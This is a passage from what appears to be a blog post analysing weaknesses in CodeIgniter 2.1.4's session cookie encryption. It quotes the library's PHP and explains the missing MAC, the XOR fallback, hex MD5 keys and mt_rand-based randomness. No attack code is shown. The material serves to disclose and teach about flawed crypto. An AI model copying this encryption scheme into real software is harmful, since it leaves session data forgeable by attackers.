&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;sess_encrypt_cookie&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;CI&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encrypt&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// if encryption is not used, we provide an md5 hash to prevent userside tampering&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;md5&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$cookie_data&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;encryption_key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pay close attention to the comment: they prevent userside tampering &lt;strong&gt;if&lt;/strong&gt; encryption is not used.  And if it is?  Let’s have a look at &lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/blob/2.1.4/system/libraries/Encrypt.php&quot;&gt;Encrypt.php&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A brief scan of &lt;code&gt;encode&lt;/code&gt; and &lt;code&gt;decode&lt;/code&gt; strongly suggests that no authentication is done; this means we can change the data on the client-side with ease; there’s no MAC protecting it.  The natural follow-up question is, can we make anything of this leeway?&lt;/p&gt;
&lt;h3&gt;say no to fallback&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/blob/2.1.4/system/libraries/Encrypt.php#L103-L109&quot;&gt;header of &lt;code&gt;encode&lt;/code&gt;&lt;/a&gt; has this to say about itself:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Encodes the message string using bitwise XOR encoding. The key is combined
with a random hash, and then it too gets converted using XOR. The whole thing
is then run through mcrypt (if supported) using the randomized key. The end
result is a double-encrypted message string that is randomized with each call
to this function, even if the supplied message and key are the same.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Do you see what I see?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Encodes the message string using bitwise XOR encoding. The key is combined
with a random hash, and then it too gets converted using XOR. The whole thing
is then run through mcrypt &lt;strong&gt;(if supported)&lt;/strong&gt; using the randomized key. The end
result is a double-encrypted message string that is randomized with each call
to this function, even if the supplied message and key are the same.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;mcrypt is old, and &lt;a href=&quot;https://paragonie.com/blog/2015/05/if-you-re-typing-word-mcrypt-into-your-code-you-re-doing-it-wrong&quot;&gt;gets bad press for very valid
reasons&lt;/a&gt;,
but it provides some primitives that can work.&lt;/p&gt;
&lt;p&gt;So if it’s not supported, we’re left with the rest of the trash in that
paragraph.  “The key is combined with a random hash, and then it too gets
converted using XOR”.  Converted?? what does that mean???&lt;/p&gt;
&lt;p&gt;It’s worth calling out &lt;a href=&quot;https://cdn.rawgit.com/bcit-ci/CodeIgniter/2.1.4/user_guide/libraries/encryption.html&quot;&gt;CodeIgniter’s own documentation&lt;/a&gt; here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If Mcrypt is not available on your server the encoded message will still
provide a reasonable degree of security for encrypted sessions or other such
“light” purposes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What the hell is a “light” purpose of encryption?  Those inverted commas in the
quoted portion are verbatim, I should add.  Even they aren’t convinced that a
“light” purpose of encryption exists, yet they claim encrypted sessions are
such a case.  Just the foundation of your site or app’s security, nbd.&lt;/p&gt;
&lt;p&gt;Let’s find out just how bad an idea it is to have “fallback crypto” that you
cooked up yourself.  And here’s the thing: &lt;strong&gt;it’s going to get called&lt;/strong&gt;.  You
don’t add fallback code without someone using it.  This stuff is criminally bad; you can’t say “oh well, it’s a fallback, no-one should use it”.  If that’s the case, remove it; fail to work without the dependency.&lt;/p&gt;
&lt;p&gt;This is exactly what they did in 2.2, but there was a good &lt;em&gt;eight years&lt;/em&gt; while
this stuff was in &lt;code&gt;HEAD&lt;/code&gt;.  The fallback code got called.&lt;/p&gt;
&lt;h3&gt;how do you use key material? not like this… not like this.&lt;/h3&gt;
&lt;p&gt;Let’s start with &lt;code&gt;encode&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;$key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;get_key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;_mcrypt_exists&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;===&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$enc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;mcrypt_encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$enc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;_xor_encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;base64_encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$enc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$key&lt;/code&gt; wasn’t passed from the session library, so &lt;code&gt;get_key&lt;/code&gt; is called with an empty string; that, in turn, does the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;returns &lt;code&gt;$this-&amp;gt;encryption_key&lt;/code&gt; directly if it’s set.  You can grep (or &lt;code&gt;ag&lt;/code&gt;) the codebase quickly to find the only setter is &lt;code&gt;set_key&lt;/code&gt; in the class, which isn’t called by CI itself.&lt;/li&gt;
&lt;li&gt;fetches &lt;code&gt;&#39;encryption_key&#39;&lt;/code&gt; from the CI config.  This is the same one that the Session class mandates is set, though Session doesn’t use it itself in encrypted-cookie mode.&lt;/li&gt;
&lt;li&gt;surprisingly: returns the &lt;code&gt;md5()&lt;/code&gt; of &lt;code&gt;$key&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s surprising because the comment says: “Returns it as MD5 in order to have an exact-length 128 bit key”.  But PHP’s &lt;code&gt;md5&lt;/code&gt;, by default, returns the digest as a hexstring, not as raw data, meaning each byte will have &lt;em&gt;four&lt;/em&gt; bits of entropy and not eight.  It also means the mcrypt codepath might well be ignoring half the key.&lt;/p&gt;
&lt;p&gt;There is a noteworthy remark on the &lt;a href=&quot;http://php.net/manual/en/function.mcrypt-encrypt.php#refsect1-function.mcrypt-encrypt-changelog&quot;&gt;&lt;code&gt;mcrypt_encrypt&lt;/code&gt; changelog&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Changed in: 5.6.0&lt;/p&gt;
&lt;p&gt;Invalid key and iv sizes are no longer accepted. &lt;strong&gt;mcrypt_encrypt()&lt;/strong&gt; will now throw a warning and return &lt;strong&gt;FALSE&lt;/strong&gt; if the inputs are invalid. Previously keys and IVs were padded with ‘\0’ bytes to the next valid size.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://soundcloud.com/kivikakk/gems&quot;&gt;Outrageous&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let’s move back to &lt;code&gt;encode&lt;/code&gt;.  &lt;code&gt;$key&lt;/code&gt; now has the hexed MD5 of our actual encryption key (i.e. it’s a 32 byte string of hex digits).  We throw the plaintext string and that MD5 into &lt;code&gt;_xor_encode&lt;/code&gt;, base64 the result, and that’s our session cookie.&lt;/p&gt;
&lt;p&gt;Let’s look at &lt;code&gt;_xor_encode&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;how not to use randomness&lt;/h3&gt;
&lt;p&gt;Reminder: &lt;code&gt;$string&lt;/code&gt; is plaintext, &lt;code&gt;$key&lt;/code&gt; is a 32-byte hexstring.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;_xor_encode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;.=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;mt_rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;mt_getrandmax&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;hash&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$enc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$enc&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;.=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;              &lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;strlen&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$rand&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;^&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$string&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$i&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f38ba8;&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;_xor_merge&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$enc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s break it down:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We generate random numbers and &lt;em&gt;concatenate&lt;/em&gt; them until we have more than 32 digits.  That’s just bizarre.&lt;/li&gt;
&lt;li&gt;We then call &lt;code&gt;$this-&amp;gt;hash&lt;/code&gt; on the random number string, which by default will just &lt;code&gt;sha1()&lt;/code&gt; it, &lt;em&gt;again&lt;/em&gt; returning a hexstring, this time 40 characters long.&lt;/li&gt;
&lt;li&gt;We now iterate over each character of the plaintext and the &lt;code&gt;$rand&lt;/code&gt; string, cycled.
&lt;ul&gt;
&lt;li&gt;We append to &lt;code&gt;$enc&lt;/code&gt; the byte from the &lt;code&gt;$rand&lt;/code&gt; string.&lt;/li&gt;
&lt;li&gt;We then append to &lt;code&gt;$enc&lt;/code&gt; the same byte XOR’d with the corresponding plaintext byte.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We then &lt;code&gt;_xor_merge&lt;/code&gt; the &lt;code&gt;$enc&lt;/code&gt; with &lt;code&gt;$key&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In other words, if:&lt;/p&gt;
&lt;ul&gt;
